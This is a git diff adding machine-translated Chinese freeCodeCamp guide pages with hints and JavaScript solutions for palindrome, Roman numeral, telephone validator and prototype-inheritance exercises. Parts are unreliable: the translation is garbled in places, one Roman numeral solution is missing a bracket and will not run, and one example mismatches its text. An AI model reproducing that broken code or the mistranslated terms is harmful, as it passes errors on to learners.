+首先，创建一个对象数组，其中包含每个面额或硬币面额的值，以及带有状态和更改键的输出对象。接下来，将CID数组转换为抽屉对象。然后，处理确切变化和资金不足的条件。循环通过`denom`数组并更新变化和值，同时抽屉中仍然存在每种类型的`denom` ，而面额大于剩余的变化。如果使用任何此类型，则将此面额添加到`change_arr`的累加器中。在循环之后， `change_arr`是变化到期的2D数组，从最高面额到最低面额排序。如果在没有元素`change_arr`或者你还欠变化，的状态返回输出对象`INSUFFICIENT_FUNDS` 。最后，您可以给出正确的更改。返回输出对象，状态为`OPEN` ， `change_arr`为change的值。
+
+#### 相关链接
+
+*   [JS Array Reduce](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [JS减少轻松](http://forum.freecodecamp.com/t/using-array-prototype-reduce-to-reduce-conceptual-boilerplate-for-problems-on-arrays/14687)
+*   [JS循环](http://forum.freecodecamp.com/t/javascript-loops/14681)
+*   [JS阵列推送](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/index.md
new file mode 100644
index 0000000000..7e15cf06a6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Javascript Algorithms and Data Structures Projects
+localeTitle: Javascript算法和数据结构项目
+---
+## Javascript算法和数据结构项目
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/palindrome-checker/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/palindrome-checker/index.md
new file mode 100644
index 0000000000..5ca257cccf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/palindrome-checker/index.md
@@ -0,0 +1,161 @@
+---
+title: Palindrome Checker
+localeTitle: 回文检查
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/c/ca86619bb0ec05531dbb02be3c0b7b8383e67f01.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+我们解决这个问题的目的是整理传入的字符串，并检查它是否实际上是回文。
+
+*   如果你不确定回文是什么，那么它就是一个单词或短语，当反向拼写相同的东西向前或向后。一个简单的例子是`mom` ，当你翻转字母时，它会拼出相同的东西！回文的另一个例子是`race car` 。当我们取出任何不是角色的东西时，它变成同样拼写向前或向后的`racecar` ！
+
+一旦我们确定它是否是回文，我们想根据我们的发现返回`true`或`false` 。
+
+#### 相关链接
+
+*   [String.prototype.replace](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)
+*   [String.prototype.toLowerCase](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+正则表达式`RegEx`可用于从字符串中删除不需要的字符。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+`Array.prototype.split`和`Array.prototype.join`方法可以在这里使用。 `For`和`while`循环是另一种选择，或者为什么不`map` ！
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+`String.prototype.toLowerCase`可用于使字符串小写。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    function palindrome(str) { 
+      return str.replace(/[\W_]/g, '').toLowerCase() === 
+             str.replace(/[\W_]/g, '').toLowerCase().split('').reverse().join(''); 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/2)
+
+### 代码说明：
+
+*   我们首先使用正则表达式将任何空格或非字母数字字符替换为`null` （或`null` ），这实质上将它们从字符串中删除。
+    
+*   接下来我们_连锁_ `.toLowerCase()`以消除任何大写字母，因为`A`是不同的字符比`a` 。这个问题没有让我们担心确保角色的情况是相同的，只是拼写。
+    
+*   我们的下一步是将我们的字符串和`.split()`它， `.reverse()`它，最后是`.join()`一起取回来。
+    
+*   最后一步是检查字符串是否向前和向后相同并返回我们的结果！
+    
+
+#### 相关链接
+
+*   [String.prototype.split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [Array.prototype.reverse](http://forum.freecodecamp.com/t/javascript-array-prototype-reverse/14300)
+*   [Array.prototype.join](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+
+```javascript
+    function palindrome(str) { 
+      str = str.toLowerCase().replace(/[\W_]/g, ''); 
+      for(var i = 0, len = str.length - 1; i < len/2; i++) { 
+        if(str[i] !== str[len-i]) { 
+          return false; 
+        } 
+      } 
+      return true; 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/3)
+
+### 代码说明：
+
+*   我们首先使用相同的方法，使用`RegEx`的正则表达式替换字符串中我们不想要的字符，然后将字符串设为小写。
+    
+*   接下来，我们设置`for`循环并声明索引`i`以跟踪循环。我们将转义序列设置为当`i`大于字符串的长度除以2时，它告诉循环在字符串的中间点之后停止。最后我们设置`i`在每个循环后递增。
+    
+*   在每个循环内部，我们要检查元素`[i]`中的字母是否等于字符串长度中的字母减去i， `[str.length - i]` 。每个循环，在字符串两侧检查的元素移动到更靠近中心，直到我们检查了所有字母。如果在任何时候字母不匹配，我们返回`false` 。如果循环成功完成，则意味着我们有一个回文，因此我们返回`true` ！
+    
+
+#### 相关链接
+
+*   正则表达式
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案（性能最佳）：
+
+```javascript
+    //this solution performs at minimum 7x better, at maximum infinitely better. 
+    //read the explanation for the reason why. I just failed this in an interview. 
+    function palindrome(str) { 
+      //assign a front and a back pointer 
+      let front = 0 
+      let back = str.length - 1 
+ 
+      //back and front pointers won't always meet in the middle, so use (back > front) 
+      while (back > front) { 
+        //increments front pointer if current character doesn't meet criteria 
+        if ( str[front].match(/[\W_]/) ) { 
+          front++ 
+          continue 
+        } 
+        //decrements back pointer if current character doesn't meet criteria 
+        if ( str[back].match(/[\W_]/) ) { 
+          back-- 
+          continue 
+        } 
+        //finally does the comparison on the current character 
+        if ( str[front].toLowerCase() !== str[back].toLowerCase() ) return false 
+        front++ 
+        back-- 
+      } 
+ 
+      //if the whole string has been compared without returning false, it's a palindrome! 
+      return true 
+ 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/4)
+
+### 代码说明：
+
+*   我在接受采访时得到了这个问题（剧透：我没有被录用![:frowning:](https://forum.freecodecamp.com/images/emoji/emoji_one/frowning.png?v=3 "：皱眉道：")我很快就找到了基本的解决方案，面试官告诉我要做得更好。如果他将圣经作为字符串传递，算法将花费太长时间。他希望它是即时的。
+    
+*   较简单的解决方案在长字符串上表现非常差，因为它们在比较**整个**字符串两次之前多次对整个字符串进行操作（toLowerCase（），replace（），split（），reverse（），join（））。
+    
+*   这个解决方案的美妙之处在于它永远**不需要**读完整个字符串，甚至一次，知道它不是回文。如果只是通过查看两个字母就可以看出它不是一个回文，为什么要读完整个字符串呢？
+    
+*   使用while循环而不是for循环作为最佳实践 - 因为我们使用两个变量，一个是从字符串的开头开始的索引，另一个是从字符串的结尾开始。
+    
+
+#### 相关链接
+
+*   [循环复杂性](https://en.wikipedia.org/wiki/Cyclomatic_complexity)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/roman-numeral-converter/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/roman-numeral-converter/index.md
new file mode 100644
index 0000000000..13f2835344
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/roman-numeral-converter/index.md
@@ -0,0 +1,216 @@
+---
+title: Roman Numeral Converter
+localeTitle: 罗马数字转换器
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+您将创建一个将整数转换为罗马数字的程序。
+
+#### 相关链接
+
+*   [罗马数字](http://www.mathsisfun.com/roman-numerals.html)
+*   [方法Array.splice（）](http://forum.freecodecamp.com/t/javascript-array-prototype-splice/14307)
+*   [Array.indexOf（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
+*   [Array.join（）](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+创建两个数组，一个使用罗马数字，一个使用十进制等效的新表单将非常有用。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+如果将数字添加到引入新字母之前的数组中，例如4,9和40的值，它将为您节省大量代码。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+您不能将三个以上的连续罗马数字放在一起。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+var convertToRoman = function(num) { 
+ 
+  var decimalValue = [ 1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1 ]; 
+  var romanNumeral = [ 'M', 'CM', 'D', 'CD', 'C', 'XC', 'L', 'XL', 'X', 'IX', 'V', 'IV', 'I' ]; 
+ 
+  var romanized = ''; 
+ 
+  for (var index = 0; index < decimalValue.length; index++) { 
+    while (decimalValue[index] <= num) { 
+      romanized += romanNumeral[index]; 
+      num -= decimalValue[index]; 
+    } 
+  } 
+ 
+  return romanized; 
+ } 
+ 
+ // test here 
+ convertToRoman(36); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLmf/0)
+
+### 代码说明：
+
+*   我们首先创建两个具有匹配索引的默认转换的数组。这些被称为`decimalValue`和`romanNumeral` 。我们还创建了一个`romanized`的空字符串变量，它将包含最终的罗马数字。
+*   使用for循环，我们循环遍历`decimalValue`数组的`decimalValue` 。我们继续循环，直到当前`index`的值适合`num` 。
+*   接下来，我们添加罗马数字，并将`num`十进制等值。
+*   最后，我们返回`romanized`的值。
+
+#### 相关链接
+
+*   [对于循环](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   循环时
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function convertToRoman(num) { 
+ var romans = ["I", "V", "X", "L", "C", "D", "M"], 
+     ints = [], 
+     romanNumber = [], 
+     numeral = ""; 
+  while (num) { 
+    ints.push(num % 10); 
+    num = Math.floor(num/10); 
+  } 
+  for (i=0; i<ints.length; i++){ 
+      units(ints[i]); 
+  } 
+  function units(){ 
+    numeral = romans[i*2]; 
+    switch(ints[i]) { 
+      case 1: 
+        romanNumber.push(numeral); 
+        break; 
+      case 2: 
+        romanNumber.push(numeral.concat(numeral)); 
+        break; 
+      case 3: 
+        romanNumber.push(numeral.concat(numeral).concat(numeral)); 
+        break; 
+      case 4: 
+        romanNumber.push(numeral.concat(romans[(i*2)+1])); 
+        break; 
+      case 5: 
+        romanNumber.push(romans[(i*2)+1]); 
+        break; 
+      case 6: 
+        romanNumber.push(romans[(i*2)+1].concat(numeral)); 
+        break; 
+      case 7: 
+        romanNumber.push(romans[(i*2)+1].concat(numeral).concat(numeral)); 
+        break; 
+      case 8: 
+        romanNumber.push(romans[(i*2)+1].concat(numeral).concat(numeral).concat(numeral)); 
+        break; 
+      case 9: 
+        romanNumber.push(romans[i*2].concat(romans[(i*2)+2])); 
+      } 
+    } 
+  return romanNumber.reverse().join("").toString(); 
+ } 
+ 
+ // test here 
+ convertToRoman(97); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/C1YV)
+
+### 代码说明：
+
+*   创建一个罗马数字（ `romans` ）数组。
+*   使用for循环在数字中创建数字（ `ints` ）数组。
+*   循环遍历数字数组（基数为10），并且如您所做，将罗马数字（基数5）索引增加2（ `numeral = romans[i*2]`罗曼`numeral = romans[i*2]` ）。
+*   在循环内，使用Switch Case将正确的罗马数字（向后）推送到该数组。
+*   反转Roman Numerals数组并将其转换为字符串。
+
+#### 相关链接
+
+*   [对于循环](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   循环时
+*   [数学](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function convertToRoman(num) { 
+  var romans = 
+  // 10^i 10^i*5 
+    ["I", "V"], // 10^0 
+    ["X", "L"], // 10^1 
+    ["C", "D"], // 10^2 
+    ["M"]       // 10^3 
+  ], 
+      digits = num.toString() 
+        .split('') 
+        .reverse() 
+        .map(function(item, index) { 
+          return parseInt(item); 
+        }), 
+      numeral = ""; 
+ 
+  // Loop through each digit, starting with the ones place 
+  for (var i=0; i<digits.length; i++) { 
+    // Make a Roman numeral that ignores 5-multiples and shortening rules 
+    numeral = romans[i][0].repeat(digits[i]) + numeral; 
+    // Check for a Roman numeral 5-multiple version 
+    if (romans[i][1]) { 
+      numeral = numeral 
+        // Change occurrences of 5 * 10^i to the corresponding 5-multiple Roman numeral 
+        .replace(romans[i][0].repeat(5), romans[i][1]) 
+        // Shorten occurrences of 9 * 10^i 
+        .replace(romans[i][1] + romans[i][0].repeat(4), romans[i][0] + romans[i+1][0]) 
+        // Shorten occurrences of 4 * 10^i 
+        .replace(romans[i][0].repeat(4), romans[i][0] + romans[i][1]); 
+    } 
+  } 
+ 
+  return numeral; 
+ } 
+ 
+ // test here 
+ convertToRoman(36); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/C1YV)
+
+### 代码说明：
+
+*   使用数组（ `romans` ）创建一个矩阵，其中包含给定功率为10的罗马数字，如果可用，则为该功率的罗马数字为10倍5。
+*   将输入数字（ `num` ）转换为反转的数字（ `digits` ）数组，以便我们可以循环显示从那些位置开始向上的数字。
+*   循环通过每个数字，从个位，以及通过将每个高功率罗马数字到开始创建一个罗马数字串`numeral`串等于多次`digit` 。这个初始字符串忽略了10次幂的罗马数字，也忽略了缩短规则。
+*   如果10的相关幂具有5个多重罗马数字，则用`numeral`代替5-in-row次数与相关的5-multiple罗马数字（即V，L或D）并缩短9 \*的出现次数10 ^ i（例如，VIIII至VIX）和4 \* 10 ^ i（例如，XXXX至XL）。订单在这里很重要！
+*   最后，返回`numeral` 。
+
+#### 相关链接
+
+*   [对于循环](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+*   [。分裂（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
+*   [。相反（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse)
+*   [。地图（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+*   [的ToString（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString)
+*   [parseInt函数（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt)
+*   [。更换（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace)
+*   [。重复（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/repeat)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/telephone-number-validator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/telephone-number-validator/index.md
new file mode 100644
index 0000000000..e1228c0013
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/javascript-algorithms-and-data-structures-projects/telephone-number-validator/index.md
@@ -0,0 +1,96 @@
+---
+title: Telephone Number Validator
+localeTitle: 电话号码验证器
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+任务并不难理解，实施它是最难的部分。您有一个验证美国电话号码。这意味着需要一定数量的数字，而您不需要输入国家代码，您仍然需要区号并使用允许的少数格式之一。
+
+#### 相关链接
+
+*   [正则表达式](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp)
+*   [regexpal.com](http://regexpal.com/)
+*   [regex101.com/](https://regex101.com/#javascript)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+没有办法绕过它，你需要提高你的正则表达能力。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+尝试使用上一个列表中的站点在创建时测试正则表达式。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+首先尝试让它验证示例中的每个格式，每个格式都应该换一个新行，一旦你全部选择它们，然后添加不应该选择的示例并确保它们没有被选中。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function telephoneCheck(str) { 
+   var regex = /^(1\s?)?(\(\d{3}\)|\d{3})[\s\-]?\d{3}[\s\-]?\d{4}$/; 
+   return regex.test(str); 
+ } 
+ telephoneCheck("555-555-5555"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLo9/0)
+
+### 代码说明：
+
+*   `^`表示字符串的开头。
+*   `(1\s?)?`如果有，则允许“1”或“1”。
+*   `\d{n}`检查确切的n位数，因此`\d{3}`检查三位数。
+*   `x|y`检查x或y，因此`(\(\d{3}\)|\d{3})`检查括号括起的三个数字，或三个数字，没有括号。
+*   `[\s\-]?`检查数字组之间的空格或短划线。
+*   `$`表示字符串的结尾。在这种情况下，字符串`$`的开头`^`和结尾用于正则表达式，以防止它匹配任何可能包含有效电话号码的字符串（例如“555 555 5555 3”）。
+*   最后，我们使用`regex.test(str)`来测试字符串是否遵循正则表达式，它返回`true`或`false` 。
+
+#### 相关链接
+
+*   [Regex.test（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)
+    
+*   [正则表达指南](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)
+    
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function telephoneCheck(str) { 
+  var re = /^(?:(?:\+?1\s*(?:[.-]\s*)?)?(?:\(\s*([2-9]1[02-9]|[2-9][02-8]1|[2-9][02-8][02-9])\s*\)|([2-9]1[02-9]|[2-9][02-8]1|[2-9][02-8][02-9]))\s*(?:[.-]\s*)?)?([2-9]1[02-9]|[2-9][02-9]1|[2-9][02-9]{2})\s*(?:[.-]\s*)?([0-9]{4})$/; 
+  return re.test(str); 
+ } 
+ telephoneCheck("555-555-5555"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLoa/0)
+
+### 代码说明：
+
+这是验证美国电话号码客户端的非常全面和强大的解决方案的示例。在这种情况下，实现此库[libphonenumber](https://github.com/googlei18n/libphonenumber)可能会更好，更容易。
+
+#### 相关链接
+
+*   [Regex.test（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)
+*   [libphonenumber](https://github.com/googlei18n/libphonenumber)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/add-methods-after-inheritance/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/add-methods-after-inheritance/index.md
new file mode 100644
index 0000000000..8b1e112c92
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/add-methods-after-inheritance/index.md
@@ -0,0 +1,40 @@
+---
+title: Add Methods After Inheritance
+localeTitle: 继承后添加方法
+---
+## 继承后添加方法
+
+### 方法
+
+就像下面的例子一样，必须创建一个对象的新实例 - `Dog` - 并且必须设置`prototype` 。
+
+```javascript
+function Bird() { } 
+ Bird.prototype = Object.create(Animal.prototype); 
+ Bird.prototype.constructor = Bird; 
+```
+
+然后必须在Dog原型中添加一个新函数 - `bark()` - 。
+
+### 解
+
+```javascript
+function Animal() { } 
+ Animal.prototype.eat = function() { console.log("nom nom nom"); }; 
+ 
+ function Dog() { } 
+ 
+ // Add your code below this line 
+ Dog.prototype = Object.create(Animal.prototype); 
+ Dog.prototype.constructor = Dog; 
+ Dog.prototype.bark = function() { 
+    console.log("Woof woof!"); 
+ }; 
+ // Add your code above this line 
+ 
+ let beagle = new Dog(); 
+ 
+ beagle.eat(); // Should print "nom nom nom" 
+ beagle.bark(); // Should print "Woof!" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/change-the-prototype-to-a-new-object/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/change-the-prototype-to-a-new-object/index.md
new file mode 100644
index 0000000000..6d779aed67
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/change-the-prototype-to-a-new-object/index.md
@@ -0,0 +1,79 @@
+---
+title: Change the Prototype to a New Object
+localeTitle: 将Prototype更改为新对象
+---
+## 将Prototype更改为新对象
+
+而不是使用`object.prototype.property`添加每个原型属性。通过将原型设置为新对象，我们可以更轻松地完成这项工作。这样，所有原型属性都会立即添加。
+
+  
+
+## 暗示：
+
+```javascript
+Dog.prototype = { 
+  property: value, 
